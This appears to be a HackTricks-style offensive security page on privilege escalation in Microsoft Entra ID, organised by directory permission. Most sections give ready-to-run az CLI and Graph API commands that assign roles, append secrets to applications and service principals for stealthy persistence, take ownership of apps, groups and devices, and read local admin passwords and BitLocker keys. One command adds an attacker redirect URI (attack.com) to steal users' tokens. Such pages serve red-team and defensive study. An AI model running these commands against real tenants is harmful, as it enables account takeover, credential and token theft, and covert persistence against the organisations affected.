# Az - EntraID Privesc

{{#include ../../../../banners/hacktricks-training.md}}

> [!NOTE]
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**

## Roles

### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>

This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.

- Assign role to a user:

```bash
# List enabled built-in roles
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
  --headers "Content-Type=application/json" \
  --body "{
    \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
  }"
```

- Add more permissions to a role:

```bash
# List only custom roles
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
  --headers "Content-Type=application/json" \
  --body '{
    "description": "Update basic properties of application registrations",
    "rolePermissions": [
      {
        "allowedResourceActions": [
          "microsoft.directory/applications/credentials/update"
        ]
      }
    ]
  }'
```

## Applications

### `microsoft.directory/applications/credentials/update`

This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.

```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```

### `microsoft.directory/applications.myOrganization/credentials/update`

This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.

```bash
az ad app credential reset --id <appId> --append
```

### `microsoft.directory/applications/owners/update`

By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.

```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>
```

### `microsoft.directory/applications/allProperties/update`

An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.

Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.

```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```

### Applications Privilege Escalation

**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** it was very common to find default applications that have **API permissions** of type **`Application`** assigned to them. An API Permission (as called in the Entra ID console) of type **`Application`** means that the application can access the API and perform actions without a user context (without a user login into the app), and without needing Entra ID roles to allow it. Therefore, it's very common to find **high privileged applications in every Entra ID tenant**.

Then, if an attacker has any permission/role that allows to **update the credentials (secret o certificate) of the application**, the attacker can generate a new credential and then use it to **authenticate as the application**, gaining all the permissions that the application has.

Note that the mentioned blog shares some **API permissions** of common Microsoft default applications however some time after this report Microsoft fixed this issue and now it's not possible to login as Microsoft applications anymore. However, it's still possible to find **custom applications with high privileges that could be abused**.

How to enumerate the API permissions of an application:

```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
  {
    "resourceAccess": [
      {
        "id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
        "type": "Scope"
      },
      {
        "id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
        "type": "Role"
      }
    ],
    "resourceAppId": "00000003-0000-0000-c000-000000000000"
  }
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```

<details>
<summary>Find all applications API permissions and mark Microsoft-owned APIs</summary>

```bash
#!/usr/bin/env bash
set -euo pipefail

# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
  "f8cdef31-a31e-4b4a-93e4-5f571e91255a"
  "72f988bf-86f1-41af-91ab-2d7cd011db47"
)

is_microsoft_owner() {
  local owner="$1"
  local id
  for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
    if [ "$owner" = "$id" ]; then
      return 0
    fi
  done
  return 1
}

get_permission_value() {
  local resource_app_id="$1"
  local perm_type="$2"
  local perm_id="$3"
  local key value
  key="${resource_app_id}|${perm_type}|${perm_id}"

  value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
  if [ -n "$value" ]; then
    printf '%s\n' "$value"
    return 0
  fi

  if [ "$perm_type" = "Scope" ]; then
    value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
  elif [ "$perm_type" = "Role" ]; then
    value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
  else
    value=""
  fi

  [ -n "$value" ] || value="UNKNOWN"
  printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
  printf '%s\n' "$value"
}

command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null

apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"

tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT

# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"

# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
  [ -n "$rid" ] || continue
  sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
  owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
  name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
  printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"

echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"

# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
  app_name="$(jq -r '.[0]' <<<"$row")"
  app_id="$(jq -r '.[1]' <<<"$row")"

  while IFS= read -r rra; do
    resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
    map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
    owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
    resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"

    [ -n "$owner_org" ] || owner_org="UNKNOWN"
    [ -n "$resource_name" ] || resource_name="UNKNOWN"

    if is_microsoft_owner "$owner_org"; then
      is_ms="true"
    else
      is_ms="false"
    fi

    permissions_csv=""
    while IFS= read -r access; do
      perm_type="$(jq -r '.type' <<<"$access")"
      perm_id="$(jq -r '.id' <<<"$access")"
      perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
      perm_label="${perm_type}:${perm_value}"
      if [ -z "$permissions_csv" ]; then
        permissions_csv="$perm_label"
      else
        permissions_csv="${permissions_csv},${perm_label}"
      fi
    done < <(jq -c '.resourceAccess[]' <<<"$rra")

    echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
  done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.

```bash
az ad sp credential reset --id <sp-id> --append
```

> [!CAUTION]
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:

```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```

### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.

```bash
az ad sp credential reset --id <sp-id> --append
```

### `microsoft.directory/servicePrincipals/owners/update`

Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.

```bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
  --headers "Content-Type=application/json" \
  --body "{
    \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
  }"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>
```

> [!CAUTION]
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.

### `microsoft.directory/servicePrincipals/disable` and `enable`

These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.

Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.

```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
```

#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.

```bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
  --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
  --headers "Content-Type=application/json" \
  --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
  --headers "Content-Type=application/json" \
  --body "{\"id\": \"$credID\"}"
```

---

## Groups

### `microsoft.directory/groups/allProperties/update`

This permission allows to add users to privileged groups, leading to privilege escalation.

```bash
az ad group member add --group <GroupName> --member-id <UserId>
```

**Note**: This permission excludes Entra ID role-assignable groups.

### `microsoft.directory/groups/owners/update`

This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.

```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```

**Note**: This permission excludes Entra ID role-assignable groups.

### `microsoft.directory/groups/members/update`

This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.

```bash
az ad group member add --group <GroupName> --member-id <UserId>
```

### `microsoft.directory/groups/dynamicMembershipRule/update`

This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.

```bash
groupId="<group-id>"
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
  --headers "Content-Type=application/json" \
  --body '{
    "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
    "membershipRuleProcessingState": "On"
  }'
```

**Note**: This permission excludes Entra ID role-assignable groups.

### Dynamic Groups Privesc

It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:

{{#ref}}
dynamic-groups.md
{{#endref}}

## Users

### `microsoft.directory/users/password/update`

This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.

```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```

### `microsoft.directory/users/basic/update`

This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.

```bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
  --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
  --headers "Content-Type=application/json" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
  --headers "Content-Type=application/json" \
  --body "{\"department\": \"security\"}"
```

## Conditional Access Policies & MFA bypass

Misconfigured conditional access policies requiring MFA could be bypassed, check:

{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}

## Devices

### `microsoft.directory/devices/registeredOwners/update`

This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.

```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
  --headers "Content-Type=application/json" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```

### `microsoft.directory/devices/registeredUsers/update`

This permission allows attackers to associate their account with devices to gain access or to bypass security policies.

```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
  --headers "Content-Type=application/json" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```

### `microsoft.directory/deviceLocalCredentials/password/read`

This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password

```bash
# List deviceLocalCredentials
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
```

## BitlockerKeys

### `microsoft.directory/bitlockerKeys/key/read`

This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.

```bash
# List recovery keys
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```

## Other Interesting permissions (TODO)

- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
- `microsoft.directory/applications.myOrganization/allProperties/update`
- `microsoft.directory/applications/allProperties/update`
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`

{{#include ../../../../banners/hacktricks-training.md}}
